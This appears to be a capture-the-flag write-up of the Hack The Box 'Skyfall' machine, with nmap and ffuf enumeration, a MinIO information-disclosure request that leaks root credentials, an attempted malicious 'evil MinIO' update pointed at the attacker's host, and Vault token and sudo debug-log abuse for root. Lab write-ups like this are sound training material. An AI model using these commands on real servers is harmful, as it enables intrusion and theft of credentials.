1. Nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Nmap 7.94SVN scan initiated Mon Feb  5 03:50:17 2024 as: nmap -sCV -T4 --min-rate 10000 -p- -v -oA nmap/tcp_default 10.129.216.173
Nmap scan report for 10.129.216.173
Host is up (0.027s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 65:70:f7:12:47:07:3a:88:8e:27:e9:cb:44:5d:10:fb (ECDSA)
|_ 256 74:48:33:07:b7:88:9d:32:0e:3b:ec:16:aa:b4:c8:fe (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Skyfall - Introducing Sky Storage!
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Feb 5 03:50:32 2024 -- 1 IP address (1 host up) scanned in 14.17 seconds

Only ports 22 and 80 are opened. So we are probably dealing with a webserver. I did not find any UDP ports opened.

2. Webserver

We can see the domain name on the about us contact information:

The domain is skyfall.htb the rest of the website looks like a stockpage. So we may try to fuzz for vhosts.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/htb/skyfall]
└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.skyfall.htb" -u http://skyfall.htb -fs 20631

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\



demo [Status: 302, Size: 218, Words: 21, Lines: 4, Duration: 165ms]

We find “demo” as a vhost and add it to our hostfile.

1
http://demo.skyfall.htb/login

We can find a login page that tells us the demo login is guest/guest. If we login, we can see a dashboard with a lot of functionality:

I also noticed that sky storage is powered by Flask:

This would mean that the backend is Python based.

File functionality

We can see that there is a file upload/download functionality, like a dropbox. If we download a file we can see this request:

It gets the file by just the filename. Maybe there is a check in the background with our session, but lets check for LFI by changing welcome.pdf to ../../../../etc/passwd. If we hit send we can see a error:

Its a S3 operation failed error. It says that our signate does not match. Now we know that the app is using S3 buckets. We could also see a page “MinIO metrics” but we cannot access it as user guest. This lead me to this github repo “evil_minio” https://github.com/AbelChe/evil_minio. Wich states that:

Our attack path would be:

  • 1. Get credentials with arn:aws:s3 permissions.
  • 2. configures a MinIO client to interact with the vulnerable instance using the credentials gotten in Step 1. For this, the following command lines are required:mc alias set [ALIAS] [URL_TARGET_MINIO] [ACCESS_KEY] [SECRET_KEY] mc alias list
  • 3. Attackers trigger the update process on the compromised MinIO instance, pointing to a malicious payload hosted on a remote server. For this, the following command is executed.mc admin update [ALIAS] [MIRROR_URL] –yes
  • 4. “Evil” MinIO is installed, now containing a global backdoor that allows the attacker to execute commands on the host.

CVE-2023-21716

https://www.pingsafe.com/blog/cve-2023-28432-minio-information-disclosure-vulnerability/

We can find an information disclosure vulnerability. But we would need to know the s3 bucket subdomain. We can find the domain with a 403 bypass on the /metrics page:

https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a

We add “%0a” to the page and can find a lot of information:

We can find the minio endpoint url. This is http://prd23-s3-backend.skyfall.htb/. We can now execute the PoC:

1
2
3
┌──(kali㉿kali)-[~/htb/skyfall]
└─$ curl -X POST 'http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify' | jq > info.txt
{"MinioEndpoints":[{"Legacy":false,"SetCount":1,"DrivesPerSet":4,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true}],"CmdLine":"http://minio-node{1...2}/data{1...2}","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_BROWSER":"off","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_PROMETHEUS_AUTH_TYPE":"public","MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key","MINIO_UPDATE":"off","MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"}}

boom! we find the login:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
{
"MinioEndpoints": [
{
"Legacy": false,
"SetCount": 1,
"DrivesPerSet": 4,
"Endpoints": [
{
"Scheme": "http",
"Opaque": "",
"User": null,
"Host": "minio-node1:9000",
"Path": "/data1",
"RawPath": "",
"OmitHost": false,
"ForceQuery": false,
"RawQuery": "",
"Fragment": "",
"RawFragment": "",
"IsLocal": false
},
{
"Scheme": "http",
"Opaque": "",
"User": null,
"Host": "minio-node2:9000",
"Path": "/data1",
"RawPath": "",
"OmitHost": false,
"ForceQuery": false,
"RawQuery": "",
"Fragment": "",
"RawFragment": "",
"IsLocal": true
},
{
"Scheme": "http",
"Opaque": "",
"User": null,
"Host": "minio-node1:9000",
"Path": "/data2",
"RawPath": "",
"OmitHost": false,
"ForceQuery": false,
"RawQuery": "",
"Fragment": "",
"RawFragment": "",
"IsLocal": false
},
{
"Scheme": "http",
"Opaque": "",
"User": null,
"Host": "minio-node2:9000",
"Path": "/data2",
"RawPath": "",
"OmitHost": false,
"ForceQuery": false,
"RawQuery": "",
"Fragment": "",
"RawFragment": "",
"IsLocal": true
}
],
"CmdLine": "http://minio-node{1...2}/data{1...2}",
"Platform": "OS: linux | Arch: amd64"
}
],
"MinioEnv": {
"MINIO_ACCESS_KEY_FILE": "access_key",
"MINIO_BROWSER": "off",
"MINIO_CONFIG_ENV_FILE": "config.env",
"MINIO_KMS_SECRET_KEY_FILE": "kms_master_key",
"MINIO_PROMETHEUS_AUTH_TYPE": "public",
"MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0",
"MINIO_ROOT_PASSWORD_FILE": "secret_key",
"MINIO_ROOT_USER": "5GrE1B2YGGyZzNHZaIww",
"MINIO_ROOT_USER_FILE": "access_key",
"MINIO_SECRET_KEY_FILE": "secret_key",
"MINIO_UPDATE": "off",
"MINIO_UPDATE_MINISIGN_PUBKEY": "RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"
}
}

Creds:

1
5GrE1B2YGGyZzNHZaIww:GkpjkmiVmpFuL2d3oRx0

Next, we clone the evil-minio repo and make it. Next we start our own minio server:

1
./minio start

We add a alias of skyfall with mc https://min.io/docs/minio/linux/reference/minio-mc.html.

1
./mc alias set miniobreachuser http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0

And confirm we have connection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/htb/skyfall]
└─$ ./mc admin info miniobreachuser
● minio-node1:9000
Uptime: 3 days
Version: 2023-03-13T19:46:17Z
Network: 2/2 OK
Drives: 2/2 OK
Pool: 1

● minio-node2:9000
Uptime: 3 days
Version: 2023-03-13T19:46:17Z
Network: 2/2 OK
Drives: 2/2 OK
Pool: 1

Pools:
1st, Erasure sets: 1, Drives per erasure set: 4

1.6 MiB Used, 8 Buckets, 12 Objects, 4 Versions
4 drives online, 0 drives offline

But we cannot seem to update the alias..

1
2
3
┌──(kali㉿kali)-[~/htb/skyfall]
└─$ ./mc admin update miniobreachuser http://10.10.14.118:8080/minio -y
mc: <ERROR> Unable to update the server. The specified method is not allowed against this resource.

3. User askyy

Lets continue by enumerating the bucket. Next, we can ls the bucket to list files:

1
2
3
4
5
6
7
──(kali㉿kali)-[~/htb/skyfall]
└─$ ./mc ls --recursive --versions miniobreachuser
[2023-11-07 23:59:15 EST] 0B askyy/
[2023-11-08 00:35:28 EST] 48KiB STANDARD bba1fcc2-331d-41d4-845b-0887152f19ec v1 PUT askyy/Welcome.pdf
[2023-11-09 16:37:25 EST] 2.5KiB STANDARD 25835695-5e73-4c13-82f7-30fd2da2cf61 v3 PUT askyy/home_backup.tar.gz
[2023-11-09 16:37:09 EST] 2.6KiB STANDARD 2b75346d-2a47-4203-ab09-3c9f878466b8 v2 PUT askyy/home_backup.tar.gz
[2023-11-09 16:36:30 EST] 1.2MiB STANDARD 3c498578-8dfe-43b7-b679-32a3fe42018f v1 PUT askyy/home_backup.tar.gz

And copy it:

1
./mc cp --vid 3c498578-8dfe-43b7-b679-32a3fe42018f miniobreachuser/askyy/home_backup.tar.gz ./home_backup.tar.gz

Extract it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
──(kali㉿kali)-[~/htb/skyfall/home_backup.tar.gz]                                                                                                                                                                                          
└─$ tar -xzvf home_backup.tar.gz
./
./.profile
./terraform-generator/
./terraform-generator/.eslintrc.json
./terraform-generator/package.json
./terraform-generator/src/
./terraform-generator/src/TerraformGenerator.ts
./terraform-generator/src/arguments/
./terraform-generator/src/arguments/index.ts
./terraform-generator/src/arguments/Function.ts
./terraform-generator/src/arguments/Argument.ts
./terraform-generator/src/arguments/Heredoc.ts
./terraform-generator/src/arguments/Attribute.ts
./terraform-generator/src/index.ts
./terraform-generator/src/Util.ts
./terraform-generator/src/blocks/
--snipped--

The ssh keys are not valid anymore. We also copy the vid 2b75346d-2a47-4203-ab09-3c9f878466b8 (version2):

1
./mc cp --vid 2b75346d-2a47-4203-ab09-3c9f878466b8 miniobreachuser/askyy/home_backup.tar.gz ./home_backup_v2

In the .bashrc file there are two interesting variables:

1
2
export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb"                                                                                                                                                                             
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"

We find the vault token.

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/htb/skyfall]
└─$ curl \
--header "X-Vault-Token: $VAULT_TOKEN" \
--request POST \
--data '{"ip":"10.129.216.173", "username":"askyy"}' \
$VAULT_ADDR/v1/ssh/creds/dev_otp_key_role
{"request_id":"43c9272e-7f8d-5921-6c07-5c9e4604939d","lease_id":"ssh/creds/dev_otp_key_role/EcSRgZzamZbanJg8993u3WxX","renewable":false,"lease_duration":2764800,"data":{"ip":"10.129.216.173","key":"6d58b013-da32-fd5a-285b-0c3389f7ea7a","key_type":"otp","port":22,"username":"askyy"},"wrap_info":null,"warnings":null,"auth":null}

Password is set now to OTP “6d58b013-da32-fd5a-285b-0c3389f7ea7a” we can login with ssh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/htb/skyfall]
└─$ ssh askyy@skyfall.htb
(askyy@skyfall.htb) Password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-92-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
askyy@skyfall:~$ id
uid=1000(askyy) gid=1000(askyy) groups=1000(askyy)

4. PE to root

Askyy can run two commands as root:

1
2
3
4
5
6
7
askyy@skyfall:~$ sudo -l
Matching Defaults entries for askyy on skyfall:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User askyy may run the following commands on skyfall:
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml [-vhd]*
(ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml

If we use the -d for debug mode, we can see that it writes the output to debug.log:

1
2
3
4
5
6
7
8
9
10
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
askyy@skyfall:~$ ls
debug.log user.txt

But we do not have permissions to read the file:

1
2
askyy@skyfall:~$ cat debug.log 
cat: debug.log: Permission denied

However, it is our home directory, so we can first create a empty file debug.log and chmod 777 on it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
askyy@skyfall:~$ rm debug.log 
rm: remove write-protected regular file 'debug.log'? y
askyy@skyfall:~$ touch debug.log
askyy@skyfall:~$ chmod 777 debug.log
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
askyy@skyfall:~$ cat debug.log
2024/02/05 12:20:46 Initializing logger...
2024/02/05 12:20:46 Reading: /etc/vault-unseal.yaml
2024/02/05 12:20:46 Security Risk!
2024/02/05 12:20:46 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/02/05 12:20:46 Found Vault node: http://prd23-vault-internal.skyfall.ht

Now we find the master token “hvs.I0ewVsmaKU1SwVZAKR3T0mmG”. We can now generate a OTP for root:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/htb/skyfall/home_backup.tar.gz/terraform-generator]
└─$ export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"

┌──(kali㉿kali)-[~/htb/skyfall/home_backup.tar.gz/terraform-generator]
└─$ vault login
Token (will be hidden):
WARNING! The VAULT_TOKEN environment variable is set! The value of this
──(kali㉿kali)-[~/htb/skyfall/home_backup.tar.gz/terraform-generator]
└─$ curl \
--header "X-Vault-Token: $VAULT_TOKEN" \
--request POST \
--data '{"ip":"10.129.216.173", "username":"root"}' \
$VAULT_ADDR/v1/ssh/creds/admin_otp_key_role
{"request_id":"3f7d5821-7714-8810-c4b8-38e4a5e9fbe0","lease_id":"ssh/creds/admin_otp_key_role/HCx7t0alHiguezUYajSYvoeZ","renewable":false,"lease_duration":2764800,"data":{"ip":"10.129.216.173","key":"742da986-bdee-febe-24b1-cefd4c007b49","key_type":"otp","port":22,"username":"root"},"wrap_info":null,"warnings":null,"auth":null}

SSH with root OTP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/htb/skyfall/home_backup.tar.gz/terraform-generator]
└─$ ssh root@10.129.216.173
(root@10.129.216.173) Password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-92-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Jan 30 12:17:37 2024
root@skyfall:~# id
uid=0(root) gid=0(root) groups=0(root)

Woohoo!